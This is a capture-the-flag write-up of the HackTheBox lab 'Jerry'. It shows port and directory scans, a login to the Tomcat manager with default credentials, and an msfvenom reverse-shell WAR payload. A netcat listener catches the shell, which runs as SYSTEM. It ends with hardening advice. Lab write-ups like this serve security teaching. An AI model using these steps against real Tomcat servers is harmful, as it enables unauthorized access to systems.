HTB 'Jerry' Writeup
Jerry HackTheBox Writeup
| Host Information | ||
|---|---|---|
| Hostname | Operating System | HTB Difficulty Rating |
| Jerry | Windows | Easy |
Enumeration
IP of box is 10.10.10.95
nmap
Per usual, we’ll start with an nmap scan of the system:
root@kali:/writeups/HTB/jerry/enumeration# nmap -sC -sV -p- -O -oA jerry 10.10.10.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 11:11 CST
Nmap scan report for 10.10.10.95
Host is up (0.029s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.73 seconds
Great, so it looks like the only thing that’s open is an http service on port 8080 running tomcat. Let’s check it out. Going to 10.10.10.95:8080 in a web browser seems to show the standard tomcat manager dashboard:
dirb
Let’s go ahead and run dirb to enumerate pages served on the http 8080 port before we keep poking around:
root@kali:/writeups/HTB/jerry/enumeration# dirb http://10.10.10.95:8080 -o jerry_dirb.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: jerry_dirb.txt
START_TIME: Fri Jan 17 20:35:10 2020
URL_BASE: http://10.10.10.95:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.95:8080/ ----
+ http://10.10.10.95:8080/docs (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/examples (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.10.95:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.10.95:8080/manager (CODE:302|SIZE:0)
-----------------
END_TIME: Fri Jan 17 20:38:24 2020
DOWNLOADED: 4612 - FOUND: 5
OK, so it looks like a largely default tomcat install. We know that tomcat is prime for hosting web java web apps. It looks like the management page might be accessible, which we can potentially abuse to get a shell if there is no authentication, or if we can crack the authentication.
Gaining an iniital foothold with the tomcat management page
Let’s go ahead and check out the tomcat management page, which i’m fairly sure we can utilize to gain a foothold. I’ve had some success in prior boxes being able to generate a malicious .war file (basically a compressed java applet package) to stage a reverse tcp shell payload on the target system, then get a callback by accessing that payload from the tomcat webapp URI, spawning a reverse shell. Let’s see if we can use this well known attack method, or if we need to change tack somehow.
A quick search would reveal that the tomcat app management page is generally located at /manager/html. Going simply to http://10.10.10.95:8080/manager first, prompts us with a login prompt. Canceling that redirects us to view-source:http://10.10.10.95:8080/manager/html automatically.
Here’s the source of the page:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>401 Unauthorized</title>
<style type="text/css">
<!--
BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;font-size:12px;}
H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;}
PRE, TT {border: 1px dotted #525D76}
A {color : black;}A.name {color : black;}
-->
</style>
</head>
<body>
<h1>401 Unauthorized</h1>
<p>
You are not authorized to view this page. If you have not changed
any configuration files, please examine the file
<tt>conf/tomcat-users.xml</tt> in your installation. That
file must contain the credentials to let you use this webapp.
</p>
<p>
For example, to add the <tt>manager-gui</tt> role to a user named
<tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
config file listed above.
</p>
<pre>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
</pre>
<p>
Note that for Tomcat 7 onwards, the roles required to use the manager
application were changed from the single <tt>manager</tt> role to the
following four roles. You will need to assign the role(s) required for
the functionality you wish to access.
</p>
<ul>
<li><tt>manager-gui</tt> - allows access to the HTML GUI and the status
pages</li>
<li><tt>manager-script</tt> - allows access to the text interface and the
status pages</li>
<li><tt>manager-jmx</tt> - allows access to the JMX proxy and the status
pages</li>
<li><tt>manager-status</tt> - allows access to the status pages only</li>
</ul>
<p>
The HTML interface is protected against CSRF but the text and JMX interfaces
are not. To maintain the CSRF protection:
</p>
<ul>
<li>Users with the <tt>manager-gui</tt> role should not be granted either
the <tt>manager-script</tt> or <tt>manager-jmx</tt> roles.</li>
<li>If the text or jmx interfaces are accessed through a browser (e.g. for
testing since these interfaces are intended for tools not humans) then
the browser must be closed afterwards to terminate the session.</li>
</ul>
<p>
For more information - please see the
<a href="/docs/manager-howto.html">Manager App HOW-TO</a>.
</p>
</body>
</html>
The config file mentions a potential password we could try, which happens to be one of the default tomcat credentials: user: tomcat / password: s3cret.. Let’s go ahead and try this, and if it doesn’t work, we can try a few other default tomcat credentials.
Wow, that seemed to work. Well, this is why you don’t use default creds :). Great, so we can access the admin page. We can see from the admin page that we can upload a WAR file, so let’s go ahead and create a WAR file containing a reverse tcp shell payload, as discussed before, using msfvenom.
The msfvenom syntax will look like this reference here:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=\
Once that is created, let’s start a netcat listener on port 1234 via nc -lvnp 1234. From there, we can upload the WAR file using the option halfway down the tomcat maanager page under “WAR file to deploy”.
Upon clicking the “Deploy” button, we are directed back to the tomcat manager page, and we can see the .war file was installed and exctrated as a java applet. Let’s click the link “shell” under the Applications list on the tomcat manager page.
Once we do this, we notice we get a shell on our netcat listener - great, we have an initial foothold!
root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.95] 49209
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>
And wow, how lucky, it seems Apache was running with system-level privileges (probably not a great idea if it can be avoided):
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88>
So it looks like the flags are in a slightly unsual location here, they seem to be located under c:\Users\Administrator\Desktop\flags>.
And from there we should be done.
Conclusion & Remediation Recommendations
This was a pretty straightforward box with no real surprises; however, it does highlight a few simple but crucial points (that were briefly mentioned above) for system maintainers and administrators to be mindful of:
-
Strengthen the authentication for any server/web management pages. We cracked this one just by knowing it was the default, and it was even written in the comments/readme of the page. Even if it wasn’t a default credential, if it were a simple password, we likely could have cracked it with hydra.
-
If possible, the apache tomcat service should not be running with system level privileges.
-
There are some other great tips for hardening Apache Tomcat instances in this link
That’s all for this one. Until next time,
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!